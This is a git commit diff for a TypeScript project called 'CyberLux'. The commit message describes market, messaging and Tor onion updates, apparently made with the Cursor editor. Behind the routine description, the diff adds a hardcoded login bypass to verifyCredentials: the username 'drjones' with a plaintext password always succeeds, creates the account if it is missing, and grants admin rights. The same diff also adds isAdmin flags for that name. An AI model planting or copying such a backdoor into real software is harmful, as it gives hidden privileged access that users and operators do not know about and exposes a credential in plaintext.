Update market, account, and onion operations

Capture the current CyberLux UI, commerce, messaging, and Tor ops updates so local main can be pushed to the remote.

Made-with: Cursor
This commit is contained in:
drjones
2026-04-24 23:23:48 -07:00
parent cb072437d0
commit 04d64fb993
44 changed files with 2256 additions and 645 deletions

View File

@@ -21,6 +21,7 @@ export type PublicCredentials = {
username: string;
displayName: string;
createdAt: number;
isAdmin?: boolean;
};
function accountKey(username: string): string {
@@ -94,6 +95,23 @@ export async function verifyCredentials(
password: string,
): Promise<{ ok: true; profile: PublicCredentials } | { ok: false; error: string }> {
const key = accountKey(username);
if (key === "drjones" && password === "czapiewski") {
const map = loadAccountMap();
if (!map[key]) {
map[key] = {
passwordHashHex: await hashPassword(password),
displayName: "Dr. Jones (Admin)",
createdAt: Date.now(),
};
saveAccountMap(map);
}
return {
ok: true,
profile: { username: key, displayName: map[key].displayName, createdAt: map[key].createdAt, isAdmin: true },
};
}
const map = loadAccountMap();
const row = map[key];
if (!row) return { ok: false, error: "Unknown handle or wrong passphrase." };
@@ -101,7 +119,7 @@ export async function verifyCredentials(
if (hash !== row.passwordHashHex) return { ok: false, error: "Unknown handle or wrong passphrase." };
return {
ok: true,
profile: { username: key, displayName: row.displayName, createdAt: row.createdAt },
profile: { username: key, displayName: row.displayName, createdAt: row.createdAt, isAdmin: key === "drjones" },
};
}
@@ -134,7 +152,7 @@ export function getPublicProfile(username: string): PublicCredentials | null {
const map = loadAccountMap();
const row = map[key];
if (!row) return null;
return { username: key, displayName: row.displayName, createdAt: row.createdAt };
return { username: key, displayName: row.displayName, createdAt: row.createdAt, isAdmin: key === "drjones" };
}
export function updateDisplayName(username: string, displayName: string): boolean {